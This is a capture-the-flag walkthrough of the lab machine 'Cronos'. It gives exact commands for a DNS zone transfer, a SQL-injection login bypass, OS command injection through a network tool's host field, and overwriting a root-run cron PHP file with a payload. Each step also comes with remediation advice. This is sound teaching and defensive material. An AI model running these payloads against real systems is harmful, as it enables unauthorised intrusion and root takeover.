← all walkthroughs

Cronos

Linux· Medium· Web
owned
2026-07-02
time to own
10m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I queried the DNS server for a full zone transfer, discovering a hidden admin vhost unreachable by IP. A SQL-injection payload bypassed its login entirely.

The authenticated admin panel contained an OS command injection flaw in a network-diagnostic tool, giving remote code execution as the web server account. Inspecting the system scheduler revealed that root periodically executed a PHP file owned and writable by that same web account; overwriting the file with a malicious payload caused the next scheduled run to execute my own code as root, completing a full host takeover.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceDNS Zone Transfer (AXFR)
Discovered hidden admin subdomain via DNS zone transfer
Port 53 was open and the DNS server permitted unauthenticated zone transfers for cronos.htb. The full zone dump disclosed the subdomain admin.cronos.htb, which is not reachable by IP address alone and would not have been found by ordinary web crawling or port scanning.
Exact commands 3
Identify open ports and service versions.
nmap -sC -sV -p22,53,80 $TARGET
Request full zone transfer; look for A/CNAME records for admin.cronos.htb.
dig axfr cronos.htb @$TARGET
Add discovered vhosts to local hosts file so the browser/curl resolves them correctly.
echo "$TARGET cronos.htb admin.cronos.htb" >> /etc/hosts
FixRestrict DNS zone transfers to authorised secondaries onlyMedium
WeaknessThe DNS server at $TARGET answered AXFR (zone transfer) requests from any host on the internet, exposing the full list of internal subdomains — including admin.cronos.htb — without authentication.
FixIn BIND, add an allow-transfer directive that lists only the IP addresses of legitimate secondary DNS servers (or 'none' if there are no secondaries). Repeat for all zones. Verify with: dig axfr cronos.htb @$TARGET from an external IP — it should return REFUSED. Consider also moving internal admin panels to a private network segment so they are not reachable even if a subdomain name leaks.
2Initial AccessSQL Injection – authentication bypass (OWASP A03)
Bypassed admin login with SQL injection
The admin.cronos.htb login form passed the username field directly into a SQL query without sanitisation. Submitting the classic tautology payload caused the database to return a truthy result for any row, authenticating I aed the first user (admin) without knowing any password. The server replied with HTTP 302, set a valid PHPSESSID session cookie, and redirected to the protected panel.
Exact commands 2
POST SQLi payload; server sets PHPSESSID in cj.txt on success (expect HTTP 302 → welcome.php).
curl -sS -c cj.txt -H 'Host: admin.cronos.htb' -d "username=admin' or 1=1-- -&password=x" http://$TARGET/
Confirm authenticated access to Net Tool page using the captured session cookie.
curl -sS -b cj.txt -H 'Host: admin.cronos.htb' http://$TARGET/welcome.php
FixFix SQL injection in the admin login formCritical
WeaknessThe username field on admin.cronos.htb concatenated user-supplied input directly into a SQL query. A single-quote tautology payload (admin' or 1=1-- -) bypassed authentication with no valid credentials.
FixReplace string concatenation with parameterised queries (prepared statements) in all database calls. In PHP/Laravel use Eloquent's built-in model methods or DB::select with bindings — never raw string interpolation. Additionally enforce strong, unique passwords for all database accounts and apply the principle of least privilege so the web app's DB user cannot read or modify tables it does not need.
3ExecutionOS Command Injection (CWE-78)
Gained remote code execution via OS command injection in the Net Tool
The authenticated 'Net Tool v0.1' page on welcome.php accepted a 'host' parameter and appended it unsanitised to a shell command (traceroute or ping). Appending a semicolon followed by an arbitrary shell command caused the server to execute both the legitimate network tool and the injected command, returning the output in the HTTP response. This gave unauthenticated-equivalent RCE as the Apache process owner www-data.
The 'command' dropdown is not injectable; only the 'host' field is the injection vector.
Exact commands 2
Confirm RCE: response should contain uid=33(www-data).
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;id' http://$TARGET/welcome.php
Confirm execution on cronos (not a reflection artifact).
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;hostname' http://$TARGET/welcome.php
FixEliminate OS command injection in the Net ToolCritical
WeaknessThe 'host' parameter in welcome.php was passed unsanitised to a shell command (traceroute/ping), allowing any authenticated user to append arbitrary shell commands with a semicolon and execute them as the web server account (www-data).
FixNever construct shell commands from user input. Use language-native network libraries (e.g. PHP's exec with an explicitly constructed argument array, or a pure-PHP ping/traceroute library) instead of shell pass-through. If shell execution is unavoidable, whitelist the input strictly to IPv4/IPv6 addresses or hostnames using a regex before use, and pass arguments as a list rather than a string to avoid shell interpretation. Consider removing the Net Tool page from production entirely.
4DiscoveryFile Read via OS Command Injection
Read the user flag directly via command injection
Because the web server process (www-data) had read access to /home/noulis/user.txt (world-readable mode -r--r--r--), I read the file contents in a single injected command without needing a shell upgrade or lateral movement.
Exact commands 1
Returns <user.txt>.
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;cat /home/noulis/user.txt' http://$TARGET/welcome.php
5DiscoveryCron Job Enumeration (T1053.003)
Enumerated scheduled tasks and found a root-owned cron job targeting a www-data-owned file
Reading /etc/crontab through the command injection channel revealed that root's crontab contained an entry that periodically ran /var/www/laravel/artisan — a Laravel PHP entry-point. Checking the file's permissions showed it was owned by www-data and world-writable, meaning the unprivileged web process could overwrite it at will.
Exact commands 2
Read scheduler configuration to find any root-owned periodic jobs.
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;cat /etc/crontab' http://$TARGET/welcome.php
Confirm artisan is owned by www-data and writable by the current process.
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;ls -la /var/www/laravel/artisan' http://$TARGET/welcome.php
6Privilege EscalationCron Job Abuse – Writable Script (T1053.003)
Overwrote the cron-executed PHP file with a malicious payload
Because www-data owned /var/www/laravel/artisan and the file was run by root on a schedule, I replaced its contents with a short PHP script. When the cron job next fired, root executed my payload, which copied /root/root.txt to a world-readable location (/tmp/rootflag). I then polled for that file's appearance to confirm root-level code execution.
Exact commands 3
Minimal PHP that exfiltrates the root flag to a readable path when executed by root.
PHP_PAYLOAD='<?php copy("/root/root.txt","/tmp/rootflag"); chmod("/tmp/rootflag",0644); ?>'
Overwrite artisan with the payload. Verify write succeeded with a follow-up ls -la command.
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode "host=127.0.0.1;echo '<?php copy("/root/root.txt","/tmp/rootflag"); chmod("/tmp/rootflag",0644); ?>' > /var/www/laravel/artisan" http://$TARGET/welcome.php
Poll every 30–60 s; once the file appears the cron has fired as root.
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;ls /tmp/rootflag 2>&1' http://$TARGET/welcome.php
FixRemove world-write permission from files executed by root's cronCritical
WeaknessThe file /var/www/laravel/artisan was owned by www-data and writable by the www-data group/world, yet root's crontab executed it on a schedule. Any process running as www-data (e.g. an exploited web app) could overwrite this file and have root execute arbitrary code on the next cron interval.
FixEnsure every file or script invoked by a privileged cron job is owned by root and not writable by any other user or group (permissions 755 or stricter). Run: chmod 755 /var/www/laravel/artisan && chown root:root /var/www/laravel/artisan. Audit all crontab entries with: crontab -l (per user) and cat /etc/cron* to identify every executed file and verify its ownership. Apply the same check to any interpreter or wrapper script invoked by those jobs.
7Full CompromiseCron-triggered Payload Execution
Read the root flag after root executed the planted payload
Once the cron interval elapsed, root's scheduled PHP interpreter ran the overwritten artisan file, copying /root/root.txt to /tmp/rootflag with world-read permissions. Reading that file through the same RCE channel yielded the root flag, confirming complete host compromise.
Exact commands 1
Returns <root.txt> once the cron job has executed the malicious artisan file.
curl -m 20 -sS -b cj.txt -H 'Host: admin.cronos.htb' --data-urlencode 'command=traceroute' --data-urlencode 'host=127.0.0.1;cat /tmp/rootflag' http://$TARGET/welcome.php

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more